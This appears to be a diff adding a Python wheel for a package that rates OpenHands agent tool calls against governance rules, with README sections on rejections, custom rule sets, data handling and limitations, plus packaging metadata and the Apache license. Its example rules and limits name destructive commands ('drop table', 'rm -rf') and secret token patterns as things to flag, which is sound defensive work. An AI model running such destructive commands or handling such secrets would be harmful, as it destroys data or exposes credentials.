+   A matched blocking rule is never downgraded to review because a review rule matched as well. If the analyzer
+   itself raised, OpenHands would also rate the action `HIGH`.
+
+The analysis details OpenHands records in its `SecurityAnalysisEvent` are `acgs_verdict`, `acgs_rule_ids`,
+`acgs_reason` and, after an error, `acgs_error`. `ACGSSecurityAnalyzer.evaluate(tool_name, args)` and
+`evaluate_action(action_event)` return the `GovernanceDecision` without running anything.
+
+## Rejections
+
+`resolve_confirmation(conversation, analyzer, approve=None)` evaluates every pending action again and returns
+`True` if the caller should call `run()` to execute them:
+
+- If any pending action is denied, every pending action is rejected with `reject_pending_actions`.
+  OpenHands rejects all pending actions of a batch at once, so allowed actions from the same model turn do not run
+  either. The model receives `"Tool call '<name>' was not executed. <reason>"` for each denied action. The reason
+  names the matched rules but never repeats argument values.
+- Otherwise `approve(pending)` is called with every pending action. Only a return value of `True` approves them.
+  With no approver, any other return value, or an exception, they are rejected.
+- With `on_review="deny"`, actions that need review are rejected like denied ones, without asking.
+
+After a rejection, calling `run()` lets the agent continue and react to the reason.
+
+## What is covered
+
+| Action | Checked |
+|---|---|
+| Tool calls of the agent the analyzer is set on (custom tools, `openhands-tools`, MCP tools) | Yes |
+| Several tool calls in one model turn | Yes, each call; one denial rejects the batch |
+| A single `finish` or `think` action | No: OpenHands never asks for confirmation for them |
+| Sub-agents and delegated conversations | Only if their conversations have the analyzer and a policy too |
+| Tools called by your own code outside the agent loop | No |
+
+## Custom constitutions
+
+```python
+from acgs_lite import Constitution, Rule, Severity, ViolationAction
+
+from openhands_acgs import ACGSSecurityAnalyzer
+
+constitution = Constitution.from_rules(
+    [
+        Rule(
+            id="NO-DESTRUCTIVE-SQL",
+            text="No destructive SQL",
+            severity=Severity.CRITICAL,
+            keywords=["drop table", "truncate table"],
+        ),
+        Rule(
+            id="REFUND-REVIEW",
+            text="Refunds need approval",
+            severity=Severity.HIGH,
+            keywords=["refund"],
+            workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
+        ),
+    ],
+    name="payments",
+)
+analyzer = ACGSSecurityAnalyzer(constitution=constitution, agent_id="payments-app")
+```
+
+`Constitution.from_yaml("rules.yaml")` works as well. The analyzer is a pydantic model like the other OpenHands
+analyzers: OpenHands saves it, including the constitution, with a persisted conversation and restores it when the
+conversation is resumed.
+
+## Options
+
+| Field | Default | Meaning |
+|---|---|---|
+| `constitution` | `Constitution.default()` | Rules to enforce |
+| `agent_id` | `"openhands"` | Agent identifier recorded by ACGS |
+| `on_review` | `"confirm"` | `"confirm"` lets `resolve_confirmation` ask the approver about calls that need review; `"deny"` rejects them |
+
+Unlike the other ACGS adapters there is no `tool_call_formatter` option, because the analyzer is saved with the
+conversation and a Python function cannot be saved.
+
+## Data handling
+
+- Checks run in the same process. The analyzer makes no network calls and needs no account or API key.
+- The text that rules are checked against contains the tool name and argument values. In its default audit mode,
+  acgs-lite 3.0.1 keeps only a count of checks and stores neither that text nor `agent_id`
+  (`tests/test_analyzer.py::test_default_engine_keeps_no_record_of_checked_calls` checks this). An
+  `acgs_lite.AuditLog` in full audit mode would store the checked text, but the analyzer does not create one.
+- Analysis details and rejection reasons name the matched rules and their text, never argument values. OpenHands
+  stores them in the conversation's events. The package logs the tool name and rule IDs (`INFO`), and logs a
+  traceback when a check fails (`WARNING`). OpenHands' own logging of pending and rejected actions is separate.
+- The analyzer keeps no state between actions.
+
+## Limitations
+
+- The analyzer is a risk signal. Enforcement needs a confirmation policy that pauses on `HIGH` and a run loop that
+  calls `resolve_confirmation`; see [above](#a-risk-signal-plus-confirmation-not-a-hard-block). OpenHands hooks
+  (`PreToolUse`) can block a call outright, but they are shell commands or LLM prompts, not Python callables, so
+  this package does not use them.
+- One denied action rejects every pending action from the same model turn.
+- Only actions are checked. User messages, model requests and responses, and observations are not.
+- Tested with a real `LocalConversation`, `Agent` and custom tools, OpenHands' scripted `TestLLM`, the
+  `NeverConfirm`, `ConfirmRisky` and `AlwaysConfirm` policies, and conversation persistence and resume, against
+  openhands-sdk 1.54.0 and the latest 1.x release. Real providers, `openhands-tools`, MCP servers, remote
+  conversations (agent server) and sub-agents are not tested.
+- `Constitution.default()` focuses on governance integrity (self-approval, skipping audits, privilege escalation)
+  and on secrets and personal data (`password`, `api_key`, `sk-...` and `ghp_...` tokens, US SSN
+  patterns). It does **not** cover destructive operations such as `rm -rf` or `DROP TABLE`. Write rules for the
+  tools you expose, in particular for terminal and file-editing tools. `tests/test_default_constitution.py` lists
+  what the default rules do and do not catch.
+- Keyword rules in acgs-lite 3.0.1 match literal, case-insensitive substrings. They do not understand negation
+  ("never share the password" matches `password`) and do not treat `-`, `_` and spaces as equivalent
+  (`api-key` does not match the keyword `api_key`).
+- Because argument names are part of the evaluated text, a tool with a parameter named `password` is rated `HIGH`
+  under the default constitution whenever it is called.
+
+## Development
+
+```bash
+uv sync --group dev        # or use hatch: hatch run prepare
+hatch run format           # ruff format + ruff check --fix
+hatch run lint             # ruff check + ruff format --check
+hatch run typecheck        # mypy --strict
+hatch run cov              # pytest with a 100% branch-coverage gate, network disabled
+hatch run min:cov          # the same tests against openhands-sdk 1.54.0 and acgs-lite 3.0.1
+pre-commit install         # format, lint, type check and tests on commit; commitizen on commit messages
+```
+
+Commit messages follow [Conventional Commits](https://www.conventionalcommits.org/); `cz bump` updates the version
+and the changelog.
+
+## License
+
+Apache-2.0. See [LICENSE](LICENSE).

openhands_acgs-0.1.0.dist-info/RECORD

@@ -0,0 +1,8 @@
+openhands_acgs/__init__.py,sha256=RuK2D7mJ-Wt-K_Bjr51CBdeK8pi2QbUs6Pd2Ybn-fx4,549
+openhands_acgs/_governance.py,sha256=PWI_T24mQhyFW3xfCVh0pe8FWxXdWGf6cm7ehv7_Il8,13033
+openhands_acgs/analyzer.py,sha256=kPizlrxtBKQQUtY7vsM2XCPnBggNOOLye6vCVeIskm4,9016
+openhands_acgs/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+openhands_acgs-0.1.0.dist-info/METADATA,sha256=TtHmjzac5SJv1yp08TNaB95FO7DaxDWQKn9jgg1CAQo,19381
+openhands_acgs-0.1.0.dist-info/WHEEL,sha256=2iZrJkDIkeDh0k9SikKMqFuRP-ua6mb4Ir1AsER4BEw,87
+openhands_acgs-0.1.0.dist-info/licenses/LICENSE,sha256=CeipvOyAZxBGUsFoaFqwkx54aPnIKEtm9a5u2uXxEws,10142
+openhands_acgs-0.1.0.dist-info/RECORD,,

openhands_acgs-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: hatchling 1.33.0
+Root-Is-Purelib: true
+Tag: py3-none-any

openhands_acgs-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,175 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.